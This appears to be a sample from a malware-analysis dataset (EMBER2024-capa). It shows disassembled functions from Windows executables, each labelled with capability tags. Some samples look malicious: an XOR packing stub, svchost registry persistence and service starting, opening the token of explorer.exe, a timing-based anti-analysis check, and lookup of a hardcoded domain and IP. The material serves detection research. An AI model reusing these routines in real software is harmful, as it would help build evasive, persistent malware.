joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414f34
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415009
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x415024
push ebx
push 0x415034
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405370
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x414fb4
mov al, 0x69
call fcn.00414bac
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00414f08
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x414fbd
call fcn.00414f08
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415010
lea eax, [ebp - 4]
call fcn.00404ebc
ret

Function at 0x415124
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
jmp 0x4151e3
cmp dword [esi + 0x10], 0x1000
jne 0x4151cf
test byte [esi + 0x15], 1
jne 0x4151cf
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415180
cmp ebp, 2
je 0x415180
cmp ebp, 0x10
je 0x415180
cmp ebp, 0x20
jne 0x41519c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x41519c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151ad
mov eax, dword [esi]
add eax, ebx
call fcn.0041511c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4151a0
cmp byte [esp + 4], 0
je 0x4151cf
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x415155
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x406660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
or esp, ecx
shr dl, 0xc1
pop ds
dec ebx
arpl word [edx - 0x51d3cf0e], si
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x199c0526
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x277a2399
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10001000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.10011e30
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x10001056
cmp dword [ebp - 0x94], 6
jb 0x10001056
mov al, 1
jmp 0x10001058
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100114bf
leave
ret

Function at 0x10001064
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x124
lea eax, [ebp - 0x234]
push ebx
push eax
mov dword [ebp - 0x238], ebx
call fcn.10011e30
add esp, 0xc
push ebx
push 2
xor esi, esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x238]
push eax
push edi
mov dword [ebp - 0x238], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10001143
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.100114bf
leave
ret
push 0x103
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.10011e30
lea eax, [ebp - 0x214]
push 0x2e
push eax
call fcn.100117d0
add esp, 0x14
cmp eax, ebx
je 0x10001143
lea ecx, [ebp - 0x214]
sub eax, ecx
push eax
mov eax, ecx
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10011b70
lea eax, [ebp - 0x110]
push str.MyPlayerUp.exe
push eax
call fcn.10011ca0
add esp, 0x14
test eax, eax
jne 0x10001143
inc esi
cmp esi, 2
jge 0x10001159
lea eax, [ebp - 0x238]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100010e0
jmp 0x100010c8
xor ebx, ebx
inc ebx
jmp 0x100010c8
Function at 0x10001161
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
cmp byte [0x10037cd0], bl
je 0x10001270
call fcn.10001064
test eax, eax
jne 0x10001270
push 0x1ff
lea eax, [ebp - 0x207]
push ebx
push eax
mov byte [ebp - 0x208], bl
call fcn.10011e30
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x10037cd0
push eax
call fcn.10011d30
lea eax, [ebp - 0x208]
push str.MyPlayerMyPlayerUp
push eax
call fcn.10011d40
lea eax, [ebp - 0x208]
push 0x1002cec0
push eax
call fcn.10011f6e
add esp, 0x18
cmp eax, ebx
je 0x10001270
push eax
call fcn.10011ff3
pop ecx
push 0x10
lea eax, [ebp - 0x260]
push ebx
push eax
call fcn.10011e30
add esp, 0xc
push 0x44
lea eax, [ebp - 0x250]
push ebx
push eax
call fcn.10011e30
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x250]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x208]
push eax
push ebx
mov dword [ebp - 0x250], 0x44
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], ebx
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x224], 1
mov word [ebp - 0x21e], bx
mov dword [ebp - 0x21c], ebx
mov word [ebp - 0x220], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100114bf
leave
ret

Function at 0x1000127d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
push 0x124
lea eax, [ebp - 0x12c]
push esi
push eax
mov dword [ebp - 0x130], esi
call fcn.10011e30
add esp, 0xc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x100012c2
xor eax, eax
jmp 0x1000131f
lea eax, [ebp - 0x130]
push eax
push edi
mov dword [ebp - 0x130], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001316
push str.EXPLORER.EXE
call fcn.10012239
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.10012239
pop ecx
push eax
call fcn.10011ca0
test eax, eax
pop ecx
pop ecx
je 0x1000132d
lea eax, [ebp - 0x130]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100012dd
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100114bf
leave
ret
push dword [ebp - 0x128]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push ebx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x10001316
Function at 0x10001350
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 7
xor eax, eax
mov byte [ebp - 0x24], 0
pop ecx
lea edi, [ebp - 0x23]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
push str.c:log_server_1.txt
push eax
call fcn.10011d30
lea eax, [ebp - 0x24]
push 0x1002cee8
push eax
call fcn.10011f6e
add esp, 0x10
test eax, eax
pop edi
jne 0x1000139a
xor al, al
jmp 0x100013ad
push eax
call fcn.10011ff3
pop ecx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100114bf
leave
ret

Function at 0x100013b9
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push str.www.neword.cn
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x1000141e
push edi
push str.203.208.37.132
call dword [sym.imp.WS2_32.dll_inet_addr]
and dword [ebp - 4], 0
cmp word [esi + 8], 2
mov edi, eax
jne 0x1000141d
mov eax, dword [esi + 0xc]
push 4
push dword [eax]
lea eax, [ebp - 4]
push eax
call fcn.100110f0
add esp, 0xc
cmp dword [ebp - 4], edi
je 0x1000141d
push 0x40
push 0
mov esi, str.http:__u.gogle.cn_
push esi
call fcn.10011e30
push str.http:__www.neword.cn_
push esi
call fcn.10011d30
add esp, 0x14
pop edi
pop esi
leave
ret
Function at 0x10002083
Capabilities:
Create thread
Terminate thread

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
sub eax, esi
je 0x100020b1
dec eax
jne 0x100020e4
mov eax, dword [esp + 8]
push esi
push esi
push esi
push 0x10001ff7
push esi
push esi
mov dword [0x10037cc8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10037ccc], eax
jmp 0x100020e4
push esi
push 3
pop eax
call fcn.10002233
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push esi
inc eax
call fcn.10002233
mov eax, dword [0x10037ccc]
cmp eax, esi
pop ecx
je 0x100020e4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x10037ccc], esi
xor eax, eax
inc eax
pop esi
ret 0xc

Function at 0x100020eb
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x114]
sub esp, 0x194
mov eax, dword [0x10032d64]
xor eax, ebp
mov dword [ebp + 0x110], eax
lea eax, [ebp - 0x78]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10002129
xor eax, eax
jmp 0x100021a1
push esi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
mov esi, str.mysysgroup1
push esi
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0x80
lea eax, [ebp + 0x90]
push 0
push eax
call fcn.10011e30
lea eax, [ebp + 0x90]
push ebx
push eax
call fcn.10011d30
lea eax, [ebp + 0x90]
push eax
call fcn.10011ae0
add esp, 0x18
inc eax
push eax
lea eax, [ebp + 0x90]
push eax
push 7
push 0
push esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop esi
mov ecx, dword [ebp + 0x110]
xor ecx, ebp
call fcn.100114bf
add ebp, 0x114
leave
ret
Function at 0x10002334
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push 0x20000000
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
mov dword [ebp - 4], ebx
je 0x10002406
push edi
push 0x34
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x10002376
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10002405
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x20]
push eax
push edi
call esi
test eax, eax
jne 0x10002394
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push ebx
jmp 0x10002402
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x1c], 4
jne 0x100023c8
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jmp 0x100023b9
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1c], ebx
je 0x100023f6
lea eax, [ebp - 0x20]
push eax
push edi
call esi
cmp eax, ebx
je 0x100023ad
jmp 0x100023f6
cmp dword [ebp - 0x1c], ebx
jne 0x100023f6
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jmp 0x100023e9
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1c], 4
je 0x100023f6
lea eax, [ebp - 0x20]
push eax
push edi
call esi
cmp eax, ebx
je 0x100023dc
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 4]
call esi
pop esi
pop edi
pop ebx
leave
ret
Function at 0x10005e20
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x10005e49
call fcn.10008069
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x10005e6c
push eax
push dword [esi + 4]
call fcn.10005d6d
push esi
push eax
mov ecx, 0x10035248
call fcn.100058e3
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x100114bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10032d64]
jne 0x100114c9
repz ret
jmp fcn.10018ef8
Function at 0x10018ffc
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10033190]
je 0x10019017
inc edi
cmp edi, 0x17
jb 0x10019008
cmp edi, 0x17
jae 0x10019197
push ebp
push 3
call fcn.10020dfd
cmp eax, 1
pop ecx
je 0x10019163
push 3
call fcn.10020dfd
test eax, eax
pop ecx
jne 0x1001904b
cmp dword [0x100370b0], 1
je 0x10019163
cmp ebx, 0xfc
je 0x10019196
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x10037408
push ebp
call fcn.10013c9b
add esp, 0xc
test eax, eax
je 0x10019081
push esi
push esi
push esi
push esi
push esi
call fcn.10012cae
add esp, 0x14
push 0x104
mov esi, 0x10037421
push esi
push 0
mov byte [0x10037525], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100190c5
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.10013c9b
add esp, 0xc
test eax, eax
je 0x100190c5
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.10012cae
add esp, 0x14
push esi
call fcn.10011ae0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1001910a
push esi
call fcn.10011ae0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1003771c
push 0x1002bb1c
sub ecx, eax
push ecx
push eax
call fcn.10016e64
add esp, 0x14
test eax, eax
je 0x1001910a
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.10012cae
add esp, 0x14
jmp 0x1001910c
xor esi, esi
push 0x1002bb18
push ebx
push ebp
call fcn.10016a5a
add esp, 0xc
test eax, eax
je 0x1001912c
push esi
push esi
push esi
push esi
push esi
call fcn.10012cae
add esp, 0x14
push dword [edi*8 + 0x10033194]
push ebx
push ebp
call fcn.10016a5a
add esp, 0xc
test eax, eax
je 0x1001914e
push esi
push esi
push esi
push esi
push esi
call fcn.10012cae
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.10020c40
add esp, 0xc
jmp 0x10019196
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x10019196
cmp ebp, 0xffffffff
je 0x10019196
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x10033194]
push dword [esi]
call fcn.10011ae0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10020c40
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100187be
xor ebx, ebx
cmp dword [0x10037b00], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x10020d16
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x10020df6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002c490
push edi
call esi
cmp eax, ebx
je 0x10020df6
push eax
call fcn.10018750
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10037b00], eax
call esi
push eax
call fcn.10018750
mov dword [esp], 0x1002c46c
push edi
mov dword [0x10037b04], eax
call esi
push eax
call fcn.10018750
mov dword [0x10037b08], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10011577
test eax, eax
pop ecx
pop ecx
je 0x10020ce4
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10012cae
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x10020d16
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10018750
cmp eax, ebx
pop ecx
mov dword [0x10037b10], eax
je 0x10020d16
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10018750
pop ecx
mov dword [0x10037b0c], eax
mov eax, dword [0x10037b0c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x10020d9b
cmp dword [0x10037b10], ecx
je 0x10020d9b
push eax
call fcn.100187c7
push dword [0x10037b10]
mov esi, eax
call fcn.100187c7
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x10020d9b
cmp edi, ebx
je 0x10020d9b
call esi
cmp eax, ebx
je 0x10020d68
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10020d68
test byte [ebp - 0x18], 1
jne 0x10020d9b
lea eax, [ebp - 0x10]
push eax
call fcn.100115ae
test eax, eax
pop ecx
je 0x10020d83
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10012cae
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x10020d92
or dword [ebp + 0x10], 0x200000
jmp 0x10020dd6
or dword [ebp + 0x10], 0x40000
jmp 0x10020dd6
mov eax, dword [0x10037b04]
cmp eax, dword [ebp - 8]
je 0x10020dd6
push eax
call fcn.100187c7
cmp eax, ebx
pop ecx
je 0x10020dd6
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10020dd6
mov eax, dword [0x10037b08]
cmp eax, dword [ebp - 8]
je 0x10020dd6
push eax
call fcn.100187c7
cmp eax, ebx
pop ecx
je 0x10020dd6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10037b00]
call fcn.100187c7
cmp eax, ebx
pop ecx
je 0x10020df6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10020df8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401030
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea ecx, [ebp - 0x28]
push ecx
call ebx
call fcn.00401000
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 4], ecx
ja 0x401095
jb 0x401073
cmp eax, 0xf4240
jae 0x401095
mov edx, 1
jmp 0x401080
add dword [ebp - 8], edx
adc dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
cmp dword [ebp - 4], ecx
ja 0x401095
cmp eax, 0xf4240
jb 0x401080
call fcn.00401000
mov edi, edx
lea edx, [ebp - 0x20]
push edx
mov esi, eax
call ebx
sub esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sbb edi, dword [ebp - 0xc]
push eax
push ecx
push edi
push esi
call fcn.00403cb0
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x1c]
sbb esi, dword [ebp - 0x24]
push esi
push ecx
push edx
push eax
call fcn.00403c40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d5d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424028]
jne 0x403d67
repz ret
jmp fcn.00404cb5
Function at 0x409eac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x424028]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406bc9
and dword [ebp - 0x14], 0
cmp dword [0x426200], 0
mov dword [ebp - 0x18], eax
jne 0x409f5f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a007
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a007
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x426200], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x426204], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x426208], eax
call edi
push eax
call esi
mov dword [0x426210], eax
test eax, eax
je 0x409f5f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42620c], eax
mov eax, dword [0x42620c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409fb8
cmp dword [0x426210], ecx
je 0x409fb8
push eax
call esi
push dword [0x426210]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409fb8
test ebx, ebx
je 0x409fb8
call edi
test eax, eax
je 0x409faf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409faf
test byte [ebp - 8], 1
jne 0x409fb8
or dword [ebp + 0x10], 0x200000
jmp 0x409feb
mov eax, dword [0x426204]
cmp eax, dword [ebp - 0x18]
je 0x409feb
push eax
call esi
test eax, eax
je 0x409feb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409feb
mov eax, dword [0x426208]
cmp eax, dword [ebp - 0x18]
je 0x409feb
push eax
call esi
test eax, eax
je 0x409feb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x426200]
call esi
test eax, eax
je 0x40a007
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a009
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403d5d
leave
ret